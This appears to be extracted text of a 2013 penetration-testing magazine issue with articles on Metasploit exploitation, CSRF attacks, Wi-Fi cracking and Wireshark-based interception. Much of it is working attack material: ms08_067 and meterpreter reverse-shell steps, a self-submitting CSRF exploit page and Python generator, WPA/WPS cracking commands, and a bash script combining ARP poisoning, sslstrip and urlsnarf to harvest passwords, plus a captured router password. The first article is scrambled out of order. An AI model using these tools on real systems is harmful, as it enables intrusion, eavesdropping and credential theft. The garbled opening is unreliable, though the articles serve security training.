Site Scripting attacks may allow the attacker to hijack a valid user session. Nc 172.1. Such hashes can be broken using tools like Hashcat.discovered by DirBuster can give complete control of the web server to a pentester. Password Cracking In case there is no joy with default passwords.com OPEN 08/2013 Page 23 . Exploit Launching Based on vulnerabilities detected in the vulnerability scanning phase. and CMS vulnerability exploitation can give website control to the attacker.. burp-suite. Based on the version/vulnerabilities in CMS detected in the previous phase. an attacker can launch exploits on the CMS. Exploiting SMTP Open Relay A pentester should evaluate if the SMTP mail server is vulnerable to mail relaying.php can also be used as a metasploit php payload. Nmap and metasploit has NSE (Nmap Scripting Engine) scripts and auxiliaries respectively for searching and exploiting such vulnerabilities.targets.. provides a pentester with privileged access to the application. Cookie tampering using Tamper Data The uploaded webshell will be available at http://172. msf exploit(ms08_067_netapi) > exploit .php HTTP/1. A vulnerable SMTP open relay server doesn’t verify if the user is http://pentestmag. Rainbow Tables. msf > use exploit/windows/smb/ms08_067_netapi msf exploit(ms08_067_netapi) > show targets . Most of the times applications authenticate a user from the database and then authorize the user to certain roles based on the cookie value set for him. Instead of a webshell evil. Web Application Fuzzing A pentester should employ various means to bypass authentication and authorization restrictions in a Web Application.. Canvas. msf payload(meterpreter_reverse_tcp) > run This will facilitate an interactive meterpreter session of the web server which could be exploited further for privilege escalation..show and set options. relevant exploits can be launched on hosts using tools like Metasploit.. Brutus.show and set options. msf exploit(ms08_067_netapi) > set TARGET <target-id> msf exploit(ms08_067_netapi) > show options . and more... Dictionary attack or brute-forcing attack using tools like Hydra. These tools can also be configured to restart the brute force session after certain number of attempts so as to bypass the restriction of maximum invalid attempts in a particular session. SQLi may provide database access. Such a loosely binded authorization model can be exploited by tampering cookie values (using Zed Attack proxy. or tamper data) to that of an administrator so as to gain administrator privileges (Figure 8).26. Business Logic Bypass/Fuzzing can allow an authenticated user to escalate his privileges.1. and more. firebug. Exploiting dangerous http methods discovered in the reconnaissance phase: The PUT method discovered in the recce phase can be exploited to upload a php web shell on the web server. show and set options. Using binary mode to transfer files..smtp-openrelay.5 Connected to 172.1. Remote system type is UNIX..5. He can be reached at sumit. A typical pentesting attack comprises of three phases – reconnaissance.1.offensive-security..168. In order to evaluate a layered defence. a multi pronged attack approach is required to find an entry point..10 -l anonymous anonymous@172. baiting.26. STQC-CISP.1. knowledge. vulnerability detection. can be employed for human exploitation. A well equipped security fortress can also be penetrated by a small hole. It just requires hard work.1.2$ ls MS Information Security and Cyber Law. msf auxiliary(smtp_relay) > set ACTION <action-name> msf auxiliary(smtp_relay) > show options . E|CSA. He has undertaken many Cyber Forensics Investigations. Name (172. C|HFI.com. Therefore.actions. msf auxiliary(smtp_relay) > run Social Engineering Social Engineering attacks like phishing.10’s password: Last login: Fri Sep 13 23:24:27 2013 from 192. impersonating.org • http://www.26. CISSP...26. It is not just checking the existence of required controls but that the controls are appropriate and sufficient to mitigate the overall risk. The following nmap NSE script can be used to find open relay mail servers: nmap --script smtp-open-relay.5 220 Welcome to my FTP service. ISMS LA. CISA.ip=<address>[email protected] <host> References • http://nmap. tab-nabbing.. and exploitation. Page 24 SUmiT AgaRwal OPEN 08/2013 http://pentestmag. The reconnaissance phase focuses on information gathering about the target environment..7 -bash-3.authorized to send e-mail from the specified e-mail address. Logging in to Anonymous SSH: ssh 172. Listing 5...465. the vulnerability detection phase is meant for exploring vulnerable ports and services on discovered hosts and the idea of the exploitation phase is to exploit the detected vulnerabilities. Vulnerability Assessment.domain=<domain>. Logging in to Anonymous FTP ftp 172.. and Penetration Testing assignments during his experience of seven years in this domain. ftp> ls Penetration testing of an organization puts various controls of its security architecture to test.nse [--script-args smtp-open-relay.com Summary The following metasploit auxiliary can be used to scan open relay mail servers: msf > use auxiliary/scanner/smtp/smtp_relay msf auxiliary(smtp_relay) > show actions . C|EH is Team Lead at a renowned Cyber Incident Response Team (CIRT).5:root): anonymous 331 Please specify the password. and so on. click-jacking.com . an attacker could spoof or impersonate any e-mail address for sending e-mails.26. and experience.1. Password: 230 Login successful.26.] -p 25. com. please apply with a resume to [email protected] Hiring Teamwork Innovation Quality Integrity Passion Compliance. From our offices in Sydney and Melbourne we deliver industry leading services and research to our clients locally.senseofsecurity.au . our company has performed tremendously well. If you are an experienced security consultant with a thorough understanding of Networking.com. Protection and Sense of Security Sense of Security is an Australian based information security and risk management consulting practice. Since our inception in 2002.au and quote reference PTM-TS-12. service excellence and leadership through research and innovation. Operation Systems and Application Security. We thrive on team work.au www. We are seeking talented people to join our team. nationally and internationally. [email protected]. profile. and as such. but this will most likely not end well for anyone. This is OPEN 08/2013 Lab Environment for CSRF Attacks In this essay.com Page 26 . exactly what happens in a CSRF attack. Unlike common server-side vulnerabilities (SQL injection. Guarding the building. the distinction between GET-method and POST-method CSRF vulnerabilities. • The transaction will be completed without question because of the session ID and cookies supplied by the client browser (in the same way that the deputy could complete the task without question because of his position of authority). more frequently overlooked vulnerabilities. but really…this isn’t accurate either. file-inclusion. such as a user login portal. who does not have access to a certain building. What is Cross-Site Request Forgery? Cross-Site Request Forgery is commonly referred to as a “confused deputy attack. I am going to address CSRF attacks using both GET and POST HTTP methods. X SS exploits a vulnerability on a target server to access.” This terminology paints an accurate picture of what is going on in the background. etc…). Article comes from Pen Test WEBAPP. Consider a scenario in which a malicious person. and exploit data on the client-side. In this essay. manipulate. Really. directory traversal. session. • The parameters of the transaction will be supplied by an unauthorized third party (in the same way that the deputy’s idea to perform that malicious task was inspired by the intruder). desires to gain access to that building to accomplish a particular task.Automating POSTMethod CSRF Attacks Of the various implementation flaws that are commonly found on web-applications. Download the complete issue. and how to streamline the exploitation process for more effective testing. One approach could be to charge the building with guns blazing. Both of the applications that I am going to use to http://pentestmag. This can be accomplished in various different ways to include iframe injection or social engineering. CSRF uses an unsuspecting client system’s browser to manipulate data and/or perform unauthorized transactions on the server-side (although this data is often unique to the user’s account. A more effective strategy would be for the malicious person to devise a scheme in which he tricks the deputy into performing the desired task on his behalf. CSRF attacks do not directly attack the server. CSRF (Cross-Site Request Forgery) is one of the lesser-known. CSRF does just the opposite. There are several steps involved in a successful CSRF attack: • The client web-browser must be trusted and authorized to access and manipulate certain content within the web-application (in the same way that the deputy was a trusted agent at the building). This is usually accomplished by some sort of authentication mechanism. I am going to discuss what a CSRF attack is. and so on). It is often compared to XSS (Cross-Site Scripting). The webbrowser of the client system acts as the confused deputy. there is a deputy who has authorization to get inside. this vulnerability can be exploited by simply crafting a link with hardcoded parameters and then enticing an authenticated user to browse to that link. As soon as the victim browses to the site. we will use ‘badguypass’). You will notice that a webapplication is displayed that can be used to update the password for the admin user account. Prior to submitting a request. I have decided to update the password to ‘password’ and have entered it into both fields. Once the link is created.uk/. GET Method CSRF Attack The easiest CSRF vulnerabilities to exploit are those that involve modifying parameters that can be supplied to a server via a GET request. Both of the discussed web-applications are already configured on the server upon install. Notice that both of the parameters (password_ new and password_conf) are actually passed as arguments in the relative URL that is displayed in the GET request.php?page=mutillidae/mutillidae-deliberatelyvulnerable-php-owasp-top-10. Then select the CSRF option on the left side of the page.132/dvwa/vulnerabilities/csrf/?password_new=badguypass&password_ conf=badguypass&Change=Change. For the purpose of this exercise.co. GET request to update admin password in DVWA OPEN 08/2013 Page 27 http://pentestmag. I configured Burp Suite to function as an intercepting proxy to capture the request that would be sent to the server to update the password. This is an ex- Figure 1.demonstrate these attacks are publically available for download and use. See Figure 1 for an image of the web-application.net/ projects/metasploitable/files/Metasploitable2/. He could simply create the following hyperlink: http://192. The victim’s password is then automatically updated without his consent. DVWA application to update admin password tremely critical vulnerability because it can be exploited without the use of any special tools or scripting. Figure 2. select the DVWA Security option and set the security level to low. which is available at http://www. Figure 2 shows the GET method request that was submitted.com . I recommend that you just download Metasploitable2. the parameters are supplied in conjunction with the user’s session ID and cookies.223. the intruder could use some well-crafted social engineering techniques to persuade the victim to click on the link.irongeek. to save yourself the frustration of having to setup and configure each of these web-applications independently. Metasploitable2 is a Linux server that is also intentionally vulnerable. After logging in to the application with the administrator account.168. which is available at http:// www. The first web-application that I will be using is DVWA. Metasploitable2 can be downloaded at http://sourceforge. Each of these is a deliberately vulnerable web-application that can be hosted within your own lab environment and can be used for penetration testing training and research. com/i. and can be accessed via the HTTP service hosted on TCP port 80.dvwa. I will use DVWA to demonstrate such a scenario. As you might imagine. However. The second web-application is Mutillidae. Let’s suppose that a malicious intruder wants to trick the administrator into updating his password to a new password that the intruder has chosen (in this case. html An example of an HTML file with embedded JavaScript that could be used to perform the CSRF attack against this Mutillidae application can be seen in Listing 1. we need to figure out a way to have the victim submit a POST request to the vulnerable server with all necessary POST data included. To do this. Instead. This makes a successful attack more difficult. So this is the location where we will need to create our malicious site. you should create a user account that can be used to simulate the CSRF victim. Notice that. you will not commonly see this sort of CSRF vulnerability in the wild. Because of this. Instead the parameters are supplied as POST POST Method CSRF Attack method data that can be seen at the bottom of the request. the parameters here are not supplied to the server within the relative path or the URL.Although we do live in a world where most webdevelopers are not extremely security conscious. The example that I am going to provide was done in BackTrack 5 R3. Mutillidae provides a good example of a POST method CSRF vulnerable web-application. Take note of the fact that we have not yet logged in with an account and that the blog is currently set to anonymous. Using this first application. The default webroot directory in this distribution of BackTrack is located in /var/www/. To get started. Their browser will submit any cookies and session-ids established with the vulnerable server in order to complete the CSRF transaction. you will need to use a local intercepting proxy to capture the POST request that is supplied when submitting a blog entry. In the case that an unsuspecting user browses to this HTML code. Then browse through the menu once again – OWASP Top 10 > Cross Site Request Forgery > Add to your blog. cd /var/www/ nano evil. Once you have completed the form. they at least understand enough about the application’s functionality to realize that this sort of approach to performing a secure transaction is a huge mistake.com . However. It will redirect them to the location specified in the action field and will supply the POST parameters specified by the following input fields. Figure 3 shows the POST request form that is submitted when I submit a blog entry of ‘TEST’. One way to accomplish this task is to host a malicious webpage that will use embedded script(s) to supply the data. prior to logging in. the JavaScript will execute on their system. select the Create Account button. This will change after we log in with the user account we previously created. To test this attack. It is much more likely that you will run into CSRF vulnerabilities that are associated with the use of the HTTP POST method. A blogging web-application will be displayed. since you can’t simply provide a modified link to an unsuspecting victim. unlike the GET request that was used by DVWA. browse to the top of the Mutillidae application and select Login/Register to log into the victim account that you had previously Figure 3. I started the Apache HTTP service on my BackTrack system by browsing through the main menu – Applications > Backtrack > Services > HTTPD > apache start. First. POST request for blog entry submission in Mutillidae OPEN 08/2013 Page 28 http://pentestmag. open up Mutillidae in the web-browser and then browse through the menu – OWASP Top 10 > Cross Site Request Forgery > Register User. change the current directory and then use your preferred text editor to generate the file. We will then use this template to build our CSRF attack. 132/mutillidae/index. </script> </body> </html> Figure 4.0. Upon doing this. HTML and JavaScript to exploit Mutillidae POST method CSRF vulnerability <html> <head> <title></title> </head> <body> <form name=“csrf” method=“post” action=“http://192. and the contents of this blog entry contains the same text that was supplied by the “blog_entry” POST parameter in the JavaScript. You can simulate this by browsing to the malicious web-page at http://127.223.submit().php?page=add-toyour-blog. Now look at the blog associated with this user.registered. given the types of transactions Listing 1. you will be redirected back to the blog page and should notice that a new blog entry has been created without your consent.html.1/evil. by browsing to the malicious web-content (see Figure 4). an unauthorized transaction was completed without the consent of the user. In this way. Now suppose that some malicious third party sent a link to the web-page that is now hosted on the BackTrack system.168.0. there should be no posts at this time. Consider the potential implications of this type of vulnerability.csrf. Execution of unauthorized transaction in Mutillidae via CSRF attack OPEN 08/2013 Page 29 http://pentestmag. Because this is the first time logging in with this account and because the blog is user-specific.com .php”> <input type=“hidden” name=“csrf-token” value=“SecurityIsDisabled” /> <input type=“hidden” name=“add-to-your-blog-php-submit-button” value=“Save+Blog+Entry” /> <input type=“hidden” name=“blog_entry” value=“HACKED” /> </form> <script type=“text/javascript”> document. \n\n\n*****************************************\n\n” url = raw_input(“Enter the URL of the CSRF vulnerable target:\n”) params = raw_input(“\nEnter the number of POST paramters to be supplied:\n”) html = raw_input(“\nEnter the filename to be generated (example .com . to browse to the malicious site\n\n” OPEN 08/2013 Page 30 http://pentestmag.write(‘\t<script type=”text/javascript”>\n’) file.csrf.write(‘<head>\n’) file. ‘a’) file. and so on.html):\n”) filepath = “/var/www/” + html dict = {} i=0 while (i < int(params)): i = i+1 print “\n\n*** PARAMETER # “ + str(i) + “ ***\n” name = raw_input(“Enter the NAME of parameter “ + str(i) + “:\n”) val = raw_input(“Enter the VALUE of paramter “ + str(i) + “:\n”) dict[str(name)] = str(val).write(‘\t\tdocument.\n’) file.0.write(‘\t\t<input type=”hidden” name=”’+x+’” value=”’+dict[x]+’” />\n’) file.that are often completed by POST parameters… profile changes. file = open(filepath. \ nthat can be used to perform POST-based CSRF (Cross-site Request Forgery) attacks.write(‘\t</form>\n’) file.write(‘\t</script>\n’) file.H@ck1tHu7ch **********\n\n” print “USE: This script is intended to generate malicious HTML code with an imbedded javascript.write(‘</body>\n’) file. I have discovered that this template can be effective to exploit Listing 2.1\\” + html + “ ***\n” print “\nTo complete CSRF attack.write(‘\t<title></title>\n’) file.write(‘<html>\n’) file.close() print “\n*** The script has written the HTML code to the file ‘” + filepath + “’ \nand should be accessible via the web-browser at \nhttp:\\\\127.write(‘<body>\n’) file. \nPrior to using this script. entice the victim (who has already established \na trusted session on his/her browser) through social engineering or \niframe injection.submit(). ensure that the apache HTTP service is running \nand that the webroot for this service is located at ‘/var/www’.write(‘</html>\n’) file. Automating POST Method CSRF In testing for CSRF vulnerabilities. banking transactions.write(‘\t<form name=”csrf” method=”post” action=”’+url+’”>\n’) for x in dict: file.0.write(‘</head>\n’) file. online purchases. CSRF Generator Python Script to automate POST method CSRF exploitation testing #!/usr/bin/python print “\n********** CSRF HTML/JAVASCRIPT GENERATOR .evil. you can then test the CSRF exploit in the same way that we had done in the previous example. And a for loop is used to write each of the POST parameters from the dictionary into the HTML content. user input is requested to include both the name and value. I have also used a while loop to loop through the number of POST parameters. CNDA. he supported a large enterprise network with over 55.com/in/justinhutchens. The second functional part of the script is the part that actually generates the HTML output. These are then placed into a dictionary called dict. a video training series that covers the entire penetration testing process using the Kali-Linux operating system. For each parameter. and the name of the output HTML file. To save the time of having to develop unique HTML/JavaScript code for each instance of a POST method CSRF vulnerability. the number of POST parameters.com). ECSA. This course is currently available from Packt Publishing (www.packtpub. The first part of the script gathers user supplied input regarding the vulnerable URL. Upon running this script. This script can be seen in Listing 2. He currently works as a security consultant and performs security assessments and penetration tests for both corporate and government clients. I have developed a Python script that will actually write the HTML code itself and will automatically place it in the /var/www/ directory. Justin is available for contact at www. He was also the writer and developer of “Kali Linux – Backtrack Evolved: Assuring Security by Penetration Testing”. intrusion detection. There are two major functional parts of this script. Each of these supplied values is then assigned to a variable within the python script.000 networked systems and performed a wide range of tasks to include vulnerability assessments. and incident response.linkedin. Justin Hutchens (OSCP. CEH.most POST method vulnerabilities. CISSP. Much of this is hardcoded. However. The previously supplied URL is supplied by calling on the url variable. the previously supplied user input from the first part is also used to help generate the file. CHFI) previously worked for the United States Air Force as a network vulnerability analyst. OPEN 08/2013 ABOUT THE AUTHOR . During that time. On unknown networks and black hat testing. our view of the network infrastructure starts to expand.) are available. or the purposes of this tutorial I am running Kali 64 bit KDE. The main wireshark interface After sitting and waiting for a while we start to see more traffic on the LAN. the door is locked and all you have is your trusty laptop and cat 5 network lead coming out of the wall. I want to confirm that the network connection is live. First thing is first. I find this operating system and tool set the best for my day to day cyber-security life. Once we have connected up the lead. Cisco and JuOPEN 08/2013 niper switches are notoriously ‘chatty’ in their default configuration. Wireshark is a musthave tool to find critical information about your surroundings.com Page 32 . traffic starts flooding in at regular intervals. Wireshark is an open source packet capture application. infrastructure and potential vulnerabilities. Article comes from Pen Test EXTRA. and by the use of ARP poisoning (discussed later) direct point to point traffic for use in http://pentestmag. although other options (Backtrack 5 etc. USB and virtual devices. Now.. ‘Packet Details’: An easy to read the breakdown of a selected packet of data with source. fibre cards. Figure 1. and finally ‘ Packet Bytes’: The raw packet in its byte format. The default view within the GUI interface. With switch ‘heart beats’ and appliance discovery traffic. it is a little far-fetched but you get the point. What do you do? OK.. no windows. starting at the top down is ‘Packet List’: This shows real-time and historical packets sent and received on the interface. Wireshark can capture both network broadcast traffic. Download the complete issue. all network settings should never be set to auto-connect. thus I can start Wireshark listening on eth0 (my primary network card) and connect the network lead without sending any outbound data on the unknown network. F I’m Listening. It is usually possible to determine the type of kit in use on a network just by listening to port responses and network broadcasts. destination and contents.Basic Black Hat Recon with Wireshark Picture the situation: You wake up in a locked room. capable of ‘listening’ and recording both transmitted and received data from Ethernet cards. no signs of where you are. which can provide us with details on IP structure and addressing in use. and find out as much information as to what other equipment is on the network. In some organisations the server naming conventions can indicate the target server’s purpose. Again this is easy through wireshark. Control+C out of the search when you have located a suitable access point to attempt to attach to. or if you believe your life is in danger and you are locked in a windowless room with just your laptop for company. If the Cat 5 lead was a dud. • # ifconfig wlan2 down (turn off the wifi card so we can change the MAC) • # macchanger -m 00:11:22:33:44:55 wlan2 (change the MAC address to 00:11:22:33:44:55 to maintain anonymity or change to a valid network MAC in the case of filtering) • # ifconfig wlan2 up (turn the card back on with new MAC address) • # airmon-ng start mon0 (this will start the card in monitor mode. we can see the default IP address of a network card pre-DHCP request. IP addresses. and we have no connection through wired means then it is time to flick on the Wireless switch and start listening to the traffic drifting through the air. also check there http://pentestmag.. Traditional method WPA2 Figure 2. In the majority of corporate networks I have scanned it is possible to determine the company name from the domain name. Briefly the tools required are airmon-ng. it may complain over running services. IP and MAC address of a workstation we can now turn from passive to acOPEN 08/2013 Patience is a Virtue. <ManchWSUS1>.. I stress that these must only be used on a network where you have permission to perform a hack attempt. WPA and WPA2. Previous tutorials have covered the method of capturing wireless access point details. All the time we are collecting more and more reconnaissance and gathering a mental picture of our surroundings.. Examples include <London-DC1>. Our newly discovered host has successfully picked up an IP address proving the use of DHCP on the network. The image below shows a Windows 7 workstation booting up and announcing its’ presence on the network. default gateway and even user accounts. There are two popular methods of locating authentication details to access points in a black hat world. However. airodumpng to capture the wireless network names. as our interface listing earlier included wireless interfaces. tive and become a part of the network. By replicating the name. encryption method and associated access points to listen to. with the majority of Windows networks. FTP and telnet credentials and associated user accounts including internet traffic. hand-shakes in WEP. Now that we have ascertained host names. we can replicate and ‘Ghost’ a machine’s connection to the LAN and start running our usual passive port scans. Then use either airocrack-ng or hashcat to brute force crack the key. <SophosSvr>. the workstations and servers are always advertising themselves in broadcast mode. For the keen eyed. ARP poisoning to capture NTLMs. Netbios name packets and DHCP request capture As further time progresses we can also detect other workstations. we can now monitor for a host to take the role of. domain controllers.. By reviewing the packets content in the bottom window we can determine the workstations name is ITHC-PC and it is presently part of a domain called INFOSEC0.. The MAC Address is also visible (we should make a note of this for later in case MAC filtering is in use on the network).. <FinanceDb> and even <CompanyIDS> etc.man in the middle. Something in the air. For this reason I always recommend naming conventions that obfuscate potential server types. domain name.com Page 33 . devices connecting to wireless. Using a handy Virtual Machine that we can re-name and change the details of. In my case its wlan1 (an Alfa networks AWUS036H USB wireless dongle). user accounts and even broadcasts from a particular vendor for antivirus updates. if any errors occur after this point then please consider # kill <process id> for those offending) • # airodump-ng mon0 (this will start listening for both Wireless access points and wireless stations with Wi-Fi enabled and associated access points. ?d digits.txt mon0 WPS Method WPA/2 The tools required for WPS cracking are airmonng. passwords.hccap file for us: # wpaclean <out. ?u uppercase. in our scenario we want to be more pro-active and learn a little more about our ‘captors’ and start intercepting traffic. I have a reasonably powerful nVidea graphics card so I can use hashcat and my GPU for processing. ESSID and WPA version) • # reaver -i mon0 -b <BSSID target> --v --fail-wait=360 (This starts a brute force WPS number check on the BSSID target. numerical and special.hccap> -1 ?l?u?d?s ?1?1?1?1?1?1?1?1 ( -1 is our variable. If we can capture usernames. Hashcat requires the capture file to be in its own hccap file format.. On busy networks be aware capture files (. hashcat etc.bin -m 2500 <out. It will send packets to all access points visible and display those vulnerable to WPS testing with details on BSSID.cap> # aircrack-ng <out. “wash” and “reaver”: • # ifconfig wlan2 down (turn off the wifi card so we can change the MAC) • # macchanger -m 00:11:22:33:44:55 wlan2 (change the MAC address to 00:11:22:33:44:55 to maintain anonymity or change to a valid network MAC in the case of filtering) • # ifconfig wlan2 up (turn the card back on with new MAC address) • # airmon-ng start mon0 (this will start the card in monitor mode. ?l lowercase..) Best to open a new terminal window so we flick between our access point and station list..cap) can become Gigabytes in size over a relatively short amount of time. if any errors occur after this point then please consider # kill <process id> for those offending) • # wash -i mon0 --scan (This starts wash in active probe and scan mode.cap> <in. Should you become impatient you can force a station to de-authenticate from the access point with the following command: # aireplay-ng -0 2 -a <BSSID> -c <station MAC> mon0 (this sends two de-authentication commands between the access point and station forcing a reauthentication to occur) The captured handshake cannot be brute forced using John. URL’s and intercept traffic we can start to ‘own’ our target network. This is a standard Man in The Middle (MiTM) type attack. channel. Interception.hccap> <passwordlist. Once again we sit and wait for traffic to accumulate and for a “WPA handshake” message to confirm we have the data we need to play with.cap> -J <out. use the following. uppercase.txt> (The -m 2500 is the format of the hash we are cracking – 2500 is WPA.. (now we limit our traffic capture to one access point and start writing to a file we will later attempt to crack). providing verbose information so we can confirm it is working and waiting 360 seconds after a failure to connect.hccap> We are In!!!! To use a wordlist: # /usr/share/oclshashcat-plus/cudaHashcat-plus64.are associated stations with that access point to intercept the hand-shake. In my experience Reaver usually takes up to 8 hours to complete a scan and provide a WPS key for most wireless networks. # airodump-ng mon0 -c <channel> --bssid <MAC of BSSID> -w saveme. http://pentestmag.com Page 34 . but be prepared for a very long wait. ?s special characters) OPEN 08/2013 Once we have successfully authenticated to the wireless network (again bear in mind the use of MAC address filtering) we can set wireshark in to monitor mode and capture traffic until our heart is content. and the upcoming commands. Although most networks are very noisy and we can usually pick up a lot of information by just passively listening. 1000 is NTLM) To Brute force an 8 character password in lowercase. bin -m 2500 <out. The following will clean and create an . This is usually sufficient for routers that have a ‘failed authentication protection’ level before allowing a re-connect). # /usr/share/oclshashcat-plus/cudaHashcatplus64. it may complain over running services. This includes usernames and passwords to https login sites) Figure 3. This can be done by starting Wireshark first of all to capture all poisoned traffic. (ARP spoof basically tells the network to direct all traffic between our victim and the gateway via our laptop. ICMP etc. network broadcasts from servers and appliances. device heartbeats. we will not be able to see any en- (This will direct all SSL ‘post’ commands to our designated text file. To solve this little ‘issue’ we can use SSLStrip. FTP traffic. Allowing us to intercept and record traffic with Wireshark and other tools. Capturing web traffic and SSL certificates as MiTM OPEN 08/2013 Page 35 http://pentestmag. We can search for specific terms and packets easily under the “Filter” menu. For example if a user is using a popular web based email system we cannot see any of the username. As mentioned previously we have items such as NTLM authentication.. # arpspoof -t <VICTIM IP> <GATEWAY IP> crypted SSL traffic. ARP commands.com . <Open a new Terminal Window> # sslstrip -p -w /root/sslstrip.YourTrafficIsMine Although full traffic capture between the host and the gateway is good. The first example is to only poison 1 host and attempt to capture all traffic between it and the gateway. passwords or content of https traffic. # echo ‘1’ > /proc/sys/net/ipv4/ip_forward # iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 10000 # arpspoof -i wlan2 -t <VICTIM IP> <GATEWAY> Wireshark contains several pre-configured search and filter options for detecting certain types of traffic.txt WWW.We are going to route all traffic through our laptop by poisoning the ARP Traffic. txt & ettercap -T -i $IFACE -w /root/$SESSION/$SESSION...log & echo “Press S for a Traffic Status and Q to close nicely. wlan0: “ read -e IFACE echo -n “Name of “Session”? (name of the folder that will be created with all the log files): “ read -e SESSION echo -n “Gateway IP . Press Enter “ read -e XTRACT echo -n “What interface to use? i. If you want to capture all http traffic in a nice list format you can open another new terminal and run the application urlsnarf: Listing 1.” sslstrip -p -w /root/$SESSION/$SESSION.log & iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 10000 urlsnarf -i $IFACE | grep http > /root/$SESSION/$SESSION.LEAVE BLANK IF YOU WANT TO ARP WHOLE NETWORK: “ read -e VICTIM mkdir /root/$SESSION/ iptables --flush iptables --table nat --flush iptables --delete-chain iptables --table nat --delete-chain #### BACKTRACK:python /pentest/web/sslstrip/sslstrip.. Press Enter “ read -e NOYES echo -n “Do you want to extract pictures from the pcap via tcpxtract? If yes.pcap after the fact. killall sslstrip #####BACKTRACK: killall python killall urlsnarf iptables --flush iptables --table nat --flush iptables --delete-chain iptables --table nat --delete-chain etterlog -p -i /root/$SESSION/$SESSION. The script for iptables # urlsnarf -i wlan2 | grep http > /root/httplog.including HTTPS. txt& Our Wireshark session is still capturing all the traffic between the victim pc and gateway.LEAVE BLANK IF YOU WANT TO ARP WHOLE NETWORK: “ read -e GATEWAY echo -n “Target IP . Although on Kali Linux you will need to first perform an..pcap -L /root/$SESSION/$SESSION -M arp /$GATEWAY/ /$VICTIM/ “$XTRACT”tcpxtract -f /root/$SESSION/$SESSION.py -p -w /root/$SESSION/$SESSION.pcap & ### Clean up. It is also possible to extract all images and web pages from the packet capture file .e. Ok on with the show... #!/bin/bash echo “Howdy ...this little script can poison all network traffic and route traffic this pc .Note At the present time this does not always work for clients running Chrome/Chromium and Google logins because of the way it transmits https traffic.com .pcap -o /root/$SESSION/ “$NOYES”wireshark /root/$SESSION/$SESSION. Any Password captured will be displayed when you kill the program with the letter q. Consider this your warning.” read -p “Press a key to continue :o)” echo -n “Do you want to execute Wireshark when done? If yes.eci OPEN 08/2013 Page 36 http://pentestmag. # apt-get install tcpxtract When connected to the internet. Save the packet capture to a file on your laptop in the default .pcap format and create a new subdirectory for all of the images and html web pages and video. # mkdir /root/Capture # tcpxtract -f /root/packetcap.pcap -o /root/Capture/ If you struggle with the ARP Spoof application it is possible to use iptables. Although in my experience on wireless this can struggle to ARP the whole network. Listing 1 consists of a handy script I found on the internet that has been modified to suit our re-quirements. Who’s calling? With a pre-configured menu for locating both encrypted and non-encrypted Voice Over IP traffic, the value of Wireshark soon becomes clear. Protocols default supported include SIP, H323, ISUP, MFCP and UNISTIM. The core reason for capturing this traffic is the ability to replay discussions and even video of captured conversations. Using the built in features it is possible to ascertain the start and stop times of calls, details of call initiator, any authentication types in use, including security certificates, the protocols in use and call status. If the network you are monitoring has heavy traffic and multiple calls going at once, it is possible to “prepare a filter” using the menu system and filter destination, source and protocol. To replay voice conversations we need to ARP poison the network as above, then save our capture file. So we will start with a brand new Wireshark capture and filter out some of the network “noise” so we have a better file to work with: From the main menu select “Capture | Capture Filters...”. On the Capture Filter Dialogue box select “No Broadcast and No Multicast”. From the main menu select Capture.... Once we are happy that we have captured some traffic and possibly a conversation we can use the “Telephony” menu and then “VOIP Calls” to select our traffic. Figure 4. Replaying SIP Voice traffic with built-in tools OPEN 08/2013 Page 37 http://pentestmag.com The built-in player allows us to listen to the convesation (Figure 4). It wasn’t me! Let’s see those passwords... We have been sitting and watching our network traffic for some time now, capturing traffic to a local file will allow dissemination and analysis both on-line and off-line. The most commonly used filter in Wireshark we can use is HTTP authentication. Although most web sites are now using SSL which encrypts traffic between the host and browser. Some older mail services and poorly managed sites will still allow non-encrypted logins. Also, let’s face it – most people use the same password for nearly every website, be it secure or not. The filter for these in Wireshark is “http.authentic”. Or in the example below, I just ran a string search for the word “admin”. By using the built-in filters (which self-populate with options when you start typing) we can see a list of all traffic used in authentication on insecure web pages. Review the items in the lower section of the console to see the content of a captured packet in both original HEX and translated English. The item below shows a captured http authentication packet to the network gateway – a Netgear ADSL router. As we can see the username is admin, and the password is set to “PasPassr5T” (Figure 5). Most definitely worth a mention is how Wireshark is used in my day-to-day life as a penetration tester. The forensics and recording value of wireshark provides me with a full record of all of my security assurance testing during a scan. This can prove to be invaluable when tracking down any issues reported with kit that has been scanned (and even those that are not). Many times I have had servers or appliances crash during the scanning progress and with the help of Wireshark I can either prove which commands or process caused the issue, or more importantly I can prove I was nowhere near the troublesome box at the time of a potential incident.... Sophlee Ltd Lee is an Information Assurance and IT Security professional and has worked on several programmes for HMG, MoD and NATO. He has extensive experience of: Pentesting and Vulnerability Assessments, HMG Security Policies, JSP440, RMADS, CESG InfoSec Memoranda, ISO27001, Security Policies and Procedures, Security Assurance, Accreditation Requirements, Risk Assessments. Email: [email protected]. Lee AlexaNdeR KiNg Figure 5. Web page password capture OPEN 08/2013 Page 38 http://pentestmag.com Pioneers in Synergistic Security Reduced Compliance Cost + Improved Security consulting PCI & PA DSS QSA PCI ASV Scanning P2PE QSA & P2PE PA VA-PT Risk Assessment Forensics HIPAA & FISMA Compliance Managed Security Services PCI DSS Implementation PCI DSS Awareness PA DSS Implementation Formal Risk Assessment OCTAVE Implementation OWASP Secure Code Formal Risk Assessment Compliance Management Action Management Data Discovery Document Management training automation The main problem was that after getting up one reverse payload of “meterpreter” in the host and run it. up to create me an account of “Domain Administrator” and take possession of the entire Network. • Capture the „hash” of the Administrator to use it on other hosts. • Use the host as gateway to access other hosts and servers on LAN. My first thought was a firewall was blocking access to unusual ports. The host was a Windows 2003 Server with an SQL Server 2005.com Page 40 . The reason for wanting a “meterpreter session” is the ease with which you can escalate privileges and pivot to other hosts from Metasploit Framework. but neither worked. Article comes from Pen Test EXTRA. The process is summarized as follows: • Raise the necessary tools to the remote host. • Launch “meterpreter payload” through the tunnel. • Receive meterpreter session on the other side of the tunnel. • Use a „Delegation Auth Token” of a Domain Admin user to impersonate it. because normally any Linux distribution comes with “wget” or “curl”. the reverse connection did not reach its destination. How to upload the payload? When we have access to a Linux system. The same test using “netcat” worked. To ensure packets were encrypted end-to-end (from compromised machine to my local machine). Download the complete issue. successfully achieving my goal of bypass that security barrier. • Escalate privileges on the remote host. By testing the above attack vector. In this article I will try to explain step by step all the processes involved to bypass the “deep inspection firewall” and achieve a meterpreter session with the remote host. my attack vector was very clear: • Upload and run a meterpreter payload to get a remote session. so I figured out that problem was related with the firewall blocking “meterpreter” packages probably for being a “Deep Inspection Firewall” with the signatures of “meterpreter” in its signature file. • Establish ssh tunnel forwarding the needed ports. It was part of a local area network (LAN). I used an SSH 